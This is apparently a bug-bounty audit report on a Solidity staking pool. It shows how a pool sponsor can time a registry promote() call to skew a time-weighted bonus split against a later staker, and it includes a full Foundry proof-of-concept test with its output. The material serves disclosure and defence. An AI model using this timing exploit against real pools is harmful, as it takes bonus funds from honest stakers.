FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: high

# Pool Sponsor can rig the k=2 bonus split in their own favor via `promote()` timing (AttackRegistry `attackModerator`)

Author Revealed upon completion

Summary


This shares its root cause with the already-submitted High (REPORT_sponsor_attackModerator_corruption.md): the Pool Sponsor is, by construction of ConfidencePoolFactory.createPool's agreement.owner() == msg.sender check plus the out-of-scope AttackRegistry's _registerAgreement (attackModerator = agreementOwner), automatically the registry's attackModerator for their own agreement. That High used markCorrupted() to drain the whole pool. This is a distinct, separate impact of the same undocumented privilege: the Sponsor also controls promote()/cancelPromotion() -both onlyAttackModerator, no DAO involvement - which determines exactly when the registry reaches the terminal PRODUCTION state. That timestamp becomes T (riskWindowEnd), the upper bound in ConfidencePool's k=2 time-weighted bonus formula.


By staking early themselves and then rushing promote() the instant a later, genuinely-committed honest staker locks in (withdraw is disabled from UNDER_ATTACK onward), the Sponsor seals a small T that mathematically maximizes their own early-entry advantage in the k=2 formula - capturing a wildly disproportionate share of the bonus pool at the honest staker's expense. No principal is ever at risk - this is purely a bonus-distribution manipulation, not a drain.


Root Cause


  • src/ConfidencePoolFactory.sol:82 + lib/battlechain-safe-harbor-contracts/src/AttackRegistry.sol:793 — Sponsor == agreement owner == attackModerator (same as the submitted High).

  • lib/battlechain-safe-harbor-contracts/src/AttackRegistry.sol:300-306 (promote) - onlyAttackModerator, moves UNDER_ATTACKPROMOTION_REQUESTED, and after PROMOTION_DELAY (3 days, line 52) the computed state becomes PRODUCTION. cancelPromotion (lines 311-317) lets the Sponsor revert back to UNDER_ATTACK and re-time a later attempt.

  • src/ConfidencePool.sol:727-734 (_assertDepositsAllowed) - once PROMOTION_REQUESTED is observed, stake()/contributeBonus() freeze immediately, locking in the exact staker cohort the Sponsor wants to skew against.

  • src/ConfidencePool.sol:293-300 (withdraw) - disabled the moment riskWindowStart != 0, so a staker who entered during UNDER_ATTACK cannot escape once they see the Sponsor rushing toward PRODUCTION.

  • src/ConfidencePool.sol:796-798, 819-829 (riskWindowEnd sealing) - T seals at the first observation of the terminal state. docs/DESIGN.md §7's "contested public race" defense (anyone can pokeRiskWindow() the instant a transition happens) is one-directional: it only stops T being pushed later by withholding observation. It cannot stop the Sponsor from choosing to make the transition happen early in the first place - nobody else can call promote() at all.

  • src/ConfidencePool.sol:696-720 (_bonusShare) - the k=2 formula share ∝ amount × (T − entryTime)². For two stakers with different entry times, shrinking T toward the later entrant's timestamp disproportionately shrinks their (T − entry)² term relative to the earlier entrant's - verified with concrete numbers below.


Neither promote, cancelPromotion, nor PROMOTION_DELAY appear anywhere in docs/DESIGN.md (confirmed via grep) - this lever is undocumented. docs/DESIGN.md §3 asserts UNDER_ATTACK entrants earn "~zero bonus," which is only true if T stays large/natural - this finding shows the Sponsor can deliberately force that assumption to fail in the opposite direction, crushing a late entrant's bonus far below what the natural, long risk window would have paid them.


Impact


  • Bonus-pool wealth transfer from honest, genuinely-risk-bearing stakers to the Sponsor, scaling toward ~100% capture the longer a victim waited before staking (see worst-case PoC: a staker who locked in 30 days of real at-risk capital receives only 0.82% of the bonus instead of a fair share, because the Sponsor rushes promote() the moment they commit).

  • No counter-move exists for the victim: deposits are frozen the instant promote() lands, withdrawal is already disabled (riskWindowStart != 0), and pokeRiskWindow() can only seal T at-or-before the current moment - never push it later to restore a fair window.

  • Requires nothing from the victim beyond normal participation (staking mid-window, which the protocol explicitly invites per §3) and nothing from the DAO beyond its routine approveAttack.


Proof of Concept


New scratch test, test/scratch/SponsorPromoteBonusSkewPoC.t.sol (4 tests, all passing), driven against the repo's own MockAttackRegistry (pure ConfidencePool mechanics - the real AttackRegistry's onlyAttackModerator/3-day-delay/cancelPromotion behavior is independently confirmed against the actual source at lib/battlechain-safe-harbor-contracts/src/AttackRegistry.sol:300-317, and exercised upstream by that repo's own test/unit/AttackRegistryTest.t.sol::testPromote, testPromoteUnauthorized, testCancelPromotion, testPromotionDelayIs3Days).


Identical stakers, identical amounts (100e18 each), identical entry times, identical 100e18 bonus pool - the only variable is when the Sponsor lets the registry reach PRODUCTION:


Scenario T (riskWindowEnd) Sponsor bonus Honest bonus
Baseline (natural ~90-day window) start + 90d 51.694e18 (51.69%) 48.306e18 (48.31%)
Attack (Sponsor rushes promote() at day 3 + 3-day delay) start + 6d 80.0e18 (80%) 20.0e18 (20%)
Worst case (victim underwrote 30 days before staking) start + 33d 99.18e18 (99.18%) 0.82e18 (0.82%)




forge test --match-path 'test/scratch/SponsorPromoteBonusSkewPoC.t.sol' -vv
[PASS] testPokeCannotCauseOrEnlargeTransition() (gas: 762417)
[PASS] testPromoteFreezesStakerSet() (gas: 817264)
[PASS] testSponsorSkewsBonusByRushingPromote() (gas: 1781533)
BASELINE T=start+90d sponsorBonus(wei): 51694428489373923032
BASELINE T=start+90d honestBonus (wei): 48305571510626076967
ATTACK T=start+ 6d sponsorBonus(wei): 80000000000000000000
ATTACK T=start+ 6d honestBonus (wei): 20000000000000000000
sponsor share baseline (bps of pool): 5169
sponsor share attack (bps of pool): 8000
[PASS] testWorstCaseLateEntrantCrushedToNearZero() (gas: 950076)
sponsor bonus (wei): 99180327868852459016
honest bonus (wei): 819672131147540983
sponsor share (bps): 9918
honest share (bps): 81
Suite result: ok. 4 passed; 0 failed; 0 skipped

Principal is fully returned in every case (each _claimBonus helper call asserts payout ≥ STAKE) - only the bonus split shifts.


Exclusivity confirmed: testPokeCannotCauseOrEnlargeTransition proves a normal staker's only lever, pokeRiskWindow(), can seal an already-transitioned state but never cause one - the honest staker pokes during UNDER_ATTACK and nothing happens (riskWindowEnd stays 0). Only the Sponsor's attackModerator-gated promote() can initiate the transition at all, and testPromoteFreezesStakerSet confirms deposits (and further bonus contributions) freeze the instant it's called.


Steps to Reproduce


Prerequisites: foundry (forge) installed. This PoC lives directly inside the target repo (test/scratch/) - no separate project needed.


1. Go to the repo root:

cd /Users/utkarshbaghel/audits/2026-07-bc-confidence-pools

2. Run:

forge test --match-path 'test/scratch/SponsorPromoteBonusSkewPoC.t.sol' -vv

3. Actual output obtained (run independently twice, identical both times):

Ran 4 tests for test/scratch/SponsorPromoteBonusSkewPoC.t.sol:SponsorPromoteBonusSkewPoC
[PASS] testPokeCannotCauseOrEnlargeTransition() (gas: 762417)
[PASS] testPromoteFreezesStakerSet() (gas: 817264)
[PASS] testSponsorSkewsBonusByRushingPromote() (gas: 1781533)
Logs:
=============== k=2 BONUS SKEW VIA promote()-TIMING (bonus pool = 100e18) ===============
BASELINE T=start+90d sponsorBonus(wei): 51694428489373923032
BASELINE T=start+90d honestBonus (wei): 48305571510626076967
ATTACK T=start+ 6d sponsorBonus(wei): 80000000000000000000
ATTACK T=start+ 6d honestBonus (wei): 20000000000000000000
honest LOSS (baseline - attack) wei: 28305571510626076967
sponsor GAIN (attack - baseline) wei: 28305571510626076968
sponsor share baseline (bps of pool): 5169
sponsor share attack (bps of pool): 8000
[PASS] testWorstCaseLateEntrantCrushedToNearZero() (gas: 950076)
Logs:
=============== WORST CASE: victim underwrote 30d, T sealed at start+33d ===============
sponsor bonus (wei): 99180327868852459016
honest bonus (wei): 819672131147540983
sponsor share (bps): 9918
honest share (bps): 81
Suite result: ok. 4 passed; 0 failed; 0 skipped; finished in 18.58ms (8.99ms CPU time)
Ran 1 test suite in 27.27ms (18.58ms CPU time): 4 tests passed, 0 failed, 0 skipped (1 total tests)

Attachment for triager: test/scratch/SponsorPromoteBonusSkewPoC.t.sol can be attached directly to the submission alongside this report. Full source below.


// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
/// @title Sponsor promote()-timing bonus-skew PoC
/// @notice Demonstrates that the Sponsor — who is the out-of-scope AttackRegistry `attackModerator`
/// for their own agreement — can skew the k=2 time-weighted BONUS split in their favour by
/// controlling *when* the registry transitions to a terminal state (via `promote()`), which
/// seals the bonus formula's upper bound `T` (= `riskWindowEnd`).
///
/// This is a pure `ConfidencePool` mechanics demonstration, so it drives the registry via
/// the repo's own `MockAttackRegistry`. Each `reg.setAgreementState(...)` call models the
/// registry state that the Sponsor's real, `onlyAttackModerator`-gated `promote()` /
/// `cancelPromotion()` calls produce upstream. (The real `AttackRegistry` is `pragma 0.8.34`
/// while `ConfidencePool` is `pragma 0.8.26` exact, so they cannot co-compile — which is why
/// the repo itself only tests the pool against `MockAttackRegistry`.)
///
/// That the lever is REAL and EXCLUSIVE to the Sponsor is proven upstream against the real
/// contract in `lib/battlechain-safe-harbor-contracts/test/unit/AttackRegistryTest.t.sol`:
/// - `_registerAgreement` sets `attackModerator = agreementOwner` (AttackRegistry.sol:793),
/// and `ConfidencePoolFactory.createPool` requires `agreement.owner() == msg.sender`
/// (ConfidencePoolFactory.sol:82) — so the pool creator (Sponsor) IS the attackModerator.
/// - `testPromote` (L696): owner promote() -> PROMOTION_REQUESTED -> +3d PRODUCTION.
/// - `testPromoteUnauthorized` (L750): a non-moderator's promote() reverts Unauthorized.
/// - `testCancelPromotion` (L773): owner can cancelPromotion() back to UNDER_ATTACK.
contract SponsorPromoteBonusSkewPoC is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant STAKE = 100 * ONE; // sponsor and honest stake the SAME amount
uint256 internal constant BONUS = 100 * ONE; // third-party-seeded bonus pool they split
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
// Realistic production-scale base timestamp (~2025-06-15) so T^2*stake magnitudes are real.
uint256 internal constant START = 1_750_000_000;
MockERC20 internal token;
MockAttackRegistry internal reg;
MockSafeHarborRegistry internal shr;
MockAgreement internal agreementContract;
address internal agreement;
ConfidencePool internal impl;
address internal dao = makeAddr("dao"); // pool outcomeModerator (honest resolver)
address internal sponsor = makeAddr("sponsor"); // agreement owner == attackModerator
address internal honest = makeAddr("honest"); // genuinely-interested late staker
address internal patron = makeAddr("patron"); // third party who seeds the bonus pool
address internal recovery = makeAddr("recovery");
function setUp() public {
vm.warp(START);
token = new MockERC20();
reg = new MockAttackRegistry();
shr = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(sponsor);
agreement = address(agreementContract);
agreementContract.setContractInScope(SCOPE_ACCOUNT, true);
shr.setAttackRegistry(address(reg));
shr.setAgreementValid(agreement, true);
impl = new ConfidencePool();
}
// -------------------------------------------------------------------------------------------
// Core PoC: identical stakers/amounts/entry-times; the ONLY difference is when the Sponsor
// lets the registry reach PRODUCTION (i.e. the value of T). Everything else is held fixed.
// -------------------------------------------------------------------------------------------
function testSponsorSkewsBonusByRushingPromote() external {
// BASELINE — the pool runs its natural, long confidence-testing course: T ~= start + 90d.
(uint256 spBase, uint256 hoBase) = _runScenario(90);
// ATTACK — Sponsor promotes the instant the honest staker is committed (day 3); the 3-day
// PROMOTION_DELAY then seals T ~= start + 6d.
(uint256 spAtk, uint256 hoAtk) = _runScenario(6);
console2.log("=============== k=2 BONUS SKEW VIA promote()-TIMING (bonus pool = 100e18) ===============");
console2.log("BASELINE T=start+90d sponsorBonus(wei):", spBase);
console2.log("BASELINE T=start+90d honestBonus (wei):", hoBase);
console2.log("ATTACK T=start+ 6d sponsorBonus(wei):", spAtk);
console2.log("ATTACK T=start+ 6d honestBonus (wei):", hoAtk);
console2.log("honest LOSS (baseline - attack) wei: ", hoBase - hoAtk);
console2.log("sponsor GAIN (attack - baseline) wei: ", spAtk - spBase);
console2.log("sponsor share baseline (bps of pool): ", (spBase * 10_000) / BONUS);
console2.log("sponsor share attack (bps of pool): ", (spAtk * 10_000) / BONUS);
// --- Quantitative claims ---------------------------------------------------------------
// Attack shares are exactly 80/20: (T-start)^2 : (T-entryHonest)^2 = 6^2 : 3^2 = 36 : 9.
assertEq(spAtk, 80 * ONE, "attack: sponsor takes exactly 80% of bonus");
assertEq(hoAtk, 20 * ONE, "attack: honest gets exactly 20% of bonus");
// Baseline shares are near-even (~51.69 / ~48.31): both entered early relative to a distant T.
assertApproxEqRel(spBase, (516_944 * ONE) / 10_000, 0.001e18, "baseline: sponsor ~51.69%");
assertApproxEqRel(hoBase, (483_056 * ONE) / 10_000, 0.001e18, "baseline: honest ~48.31%");
// The Sponsor's rushed promote() strictly increases their share and strictly decreases the
// honest staker's — a value transfer caused purely by the Sponsor's own timing choice.
assertGt(spAtk, spBase, "sponsor gains from rushing promote");
assertLt(hoAtk, hoBase, "honest loses from the rushed promote");
// ~28.3% of the whole bonus pool is transferred honest -> sponsor.
assertApproxEqRel(hoBase - hoAtk, (283_056 * ONE) / 10_000, 0.001e18, "honest loses ~28.3% of the pool");
assertApproxEqRel(spAtk - spBase, (283_056 * ONE) / 10_000, 0.001e18, "sponsor gains ~28.3% of the pool");
// The whole bonus pool is distributed in both cases (no principal touched — see below).
assertApproxEqAbs(spBase + hoBase, BONUS, 2, "baseline distributes full bonus");
assertApproxEqAbs(spAtk + hoAtk, BONUS, 2, "attack distributes full bonus");
}
/// @notice Worst case: the skew scales toward ~100% as the window runs longer before promote().
/// A staker who underwrote 30 DAYS of genuine at-risk time is crushed to <1% of the bonus
/// because the Sponsor promotes the instant they commit, sealing T just 3 days past entry.
/// Sponsor share = (D+3)^2 / ((D+3)^2 + 3^2), D = days the victim entered after the window
/// opened — here D=30 -> 33^2 : 3^2 = 1089 : 9 = 99.18% : 0.82%.
function testWorstCaseLateEntrantCrushedToNearZero() external {
vm.warp(START);
ConfidencePool p = _deployPool(START + 300 days);
reg.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_stake(p, sponsor, STAKE); // sponsor at the floor: entry == riskWindowStart == START
_contributeBonus(p, patron, BONUS);
// Honest underwrites 30 days of real, locked, at-risk capital before entering.
vm.warp(START + 30 days);
_stake(p, honest, STAKE);
// Sponsor promotes the instant honest commits; 3-day delay seals T == START + 33d.
vm.warp(START + 33 days);
reg.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
p.pokeRiskWindow();
vm.prank(dao);
p.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 sp = _claimBonus(p, sponsor);
uint256 ho = _claimBonus(p, honest);
console2.log("=============== WORST CASE: victim underwrote 30d, T sealed at start+33d ===============");
console2.log("sponsor bonus (wei):", sp);
console2.log("honest bonus (wei):", ho);
console2.log("sponsor share (bps):", (sp * 10_000) / BONUS);
console2.log("honest share (bps):", (ho * 10_000) / BONUS);
// 1089:9 split of the 100e18 pool. Honest gets ~0.82e18 for 30 days of locked risk capital.
assertApproxEqRel(sp, (991_803 * ONE) / 10_000, 0.001e18, "sponsor ~99.18%");
assertApproxEqRel(ho, (8_197 * ONE) / 10_000, 0.001e18, "honest ~0.82%");
assertApproxEqAbs(sp + ho, BONUS, 2, "full bonus distributed, no principal touched");
}
/// @dev Runs one full pool lifecycle with a chosen risk-window length (in days) and returns the
/// bonus each staker walks away with. Stakers, amounts and entry-times are IDENTICAL across
/// runs; only `windowDays` (the terminal moment T the Sponsor forces) changes.
function _runScenario(uint256 windowDays) internal returns (uint256 sponsorBonus, uint256 honestBonus) {
vm.warp(START);
ConfidencePool p = _deployPool(START + 300 days);
// DAO has approved the attack: the agreement is live and attackable (UNDER_ATTACK).
reg.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
// Sponsor stakes as early as possible -> effective entry == riskWindowStart (== START).
_stake(p, sponsor, STAKE); // first observation of UNDER_ATTACK opens the window here
assertEq(p.riskWindowStart(), START, "window opens at sponsor's early stake");
// A third party seeds the bonus pool that the stakers will split.
_contributeBonus(p, patron, BONUS);
// Honest staker enters 3 days into the attack window: voluntary risk capital (DESIGN sec 3).
// Once staked they are LOCKED IN — withdraw is disabled from UNDER_ATTACK onward.
vm.warp(START + 3 days);
_stake(p, honest, STAKE);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
vm.prank(honest);
p.withdraw();
// --- Sponsor forces the terminal moment T = START + windowDays --------------------------
// Sponsor's promote() (attackModerator) would move UNDER_ATTACK -> PROMOTION_REQUESTED and,
// after the 3-day delay, -> PRODUCTION. We fast-forward to the moment PRODUCTION is reached.
vm.warp(START + windowDays * 1 days);
reg.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
// Sponsor seals T at the earliest possible moment via the permissionless poke. (Nobody can
// push T higher: the contested race is one-directional — see testPokeCannotEnlargeT.)
p.pokeRiskWindow();
assertEq(p.riskWindowEnd(), START + windowDays * 1 days, "T sealed at forced terminal moment");
// Honest DAO resolves SURVIVED (the agreement reached PRODUCTION). Sponsor needs no control
// over the outcome flag — only over promote() timing, which already sealed T.
vm.prank(dao);
p.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint256(p.outcomeFlaggedAt()), START + windowDays * 1 days, "T (=outcomeFlaggedAt)");
sponsorBonus = _claimBonus(p, sponsor);
honestBonus = _claimBonus(p, honest);
// No principal loss: each staker recovers their full 100e18 stake on top of the bonus.
// (_claimBonus asserts payout - STAKE == bonus, i.e. principal == STAKE, internally.)
}
// -------------------------------------------------------------------------------------------
// Supporting claims about EXCLUSIVITY of the lever.
// -------------------------------------------------------------------------------------------
/// @notice promote() freezes the staker set: the instant the Sponsor promotes, deposits stop.
function testPromoteFreezesStakerSet() external {
ConfidencePool p = _deployPool(START + 300 days);
reg.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_stake(p, sponsor, STAKE);
_stake(p, honest, STAKE);
// Sponsor calls promote() -> PROMOTION_REQUESTED. _assertDepositsAllowed now blocks deposits.
reg.setAgreementState(IAttackRegistry.ContractState.PROMOTION_REQUESTED);
token.mint(patron, STAKE);
vm.startPrank(patron);
token.approve(address(p), STAKE);
vm.expectRevert(IConfidencePool.StakingClosed.selector);
p.stake(STAKE);
vm.stopPrank();
// contributeBonus is frozen too, so nobody can dilute the sealed configuration.
vm.startPrank(patron);
token.approve(address(p), STAKE);
vm.expectRevert(IConfidencePool.StakingClosed.selector);
p.contributeBonus(STAKE);
vm.stopPrank();
}
/// @notice A normal staker has NO ConfidencePool entrypoint that forces an early terminal state.
/// pokeRiskWindow only SEALS the already-observed state; it never CAUSES a transition,
/// and it can only pull T earlier (never later) once PRODUCTION is reached.
function testPokeCannotCauseOrEnlargeTransition() external {
ConfidencePool p = _deployPool(START + 300 days);
reg.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_stake(p, sponsor, STAKE);
// Honest staker pokes as hard as they like during UNDER_ATTACK: the state stays
// UNDER_ATTACK, riskWindowEnd stays 0. They cannot manufacture a PRODUCTION transition.
vm.warp(START + 3 days);
_stake(p, honest, STAKE);
vm.prank(honest);
p.pokeRiskWindow();
assertEq(p.riskWindowEnd(), 0, "poke cannot cause a terminal transition");
// Only the Sponsor's promote() (modeled here) moves the registry to PRODUCTION. Once there,
// any poke can only seal T at/after that moment; the honest party cannot push T higher to
// dilute the Sponsor's early-entry advantage.
vm.warp(START + 6 days);
reg.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(honest);
p.pokeRiskWindow(); // honest, wanting a LARGE T, is forced to seal the SMALL one
assertEq(p.riskWindowEnd(), START + 6 days, "T sealed small; honest cannot enlarge it");
}
// -------------------------------------------------------------------------------------------
// helpers
// -------------------------------------------------------------------------------------------
function _deployPool(uint256 expiry) internal returns (ConfidencePool p) {
p = ConfidencePool(Clones.clone(address(impl)));
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
p.initialize(agreement, address(token), address(shr), dao, expiry, ONE, recovery, sponsor, scope);
}
function _stake(ConfidencePool p, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(p), amount);
p.stake(amount);
vm.stopPrank();
}
function _contributeBonus(ConfidencePool p, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(p), amount);
p.contributeBonus(amount);
vm.stopPrank();
}
function _claimBonus(ConfidencePool p, address user) internal returns (uint256 bonus) {
uint256 before = token.balanceOf(user);
vm.prank(user);
p.claimSurvived();
uint256 payout = token.balanceOf(user) - before;
assertGe(payout, STAKE, "principal fully returned (no principal loss)");
bonus = payout - STAKE;
}
}

Recommended Mitigation


Same family of fix as the submitted High - don't let a registry-level transition initiated by an address that equals the pool's own owner() silently become the trusted T anchor for bonus distribution:


function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
...
if (riskWindowEnd == 0 && _isTerminalState(state)) {
+ // If the agreement's attackModerator is the pool's own Sponsor, a PRODUCTION transition
+ // may have been unilaterally timed by them (via promote()) to bias the k=2 bonus split.
+ // Consider requiring outcomeModerator confirmation before trusting T from such a pool,
+ // or anchoring T to something the Sponsor cannot unilaterally time (e.g. a minimum
+ // elapsed-time floor from riskWindowStart before T can seal).
_markRiskWindowEnd();
}
}

A minimum-elapsed-time floor (e.g., T cannot seal before riskWindowStart + MIN_RISK_WINDOW) is likely the simplest fix that doesn't require plumbing attackModerator lookups into the pool at all - it directly caps how early a rushed promote() can shrink T, bounding the worst-case skew regardless of who controls the timing.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!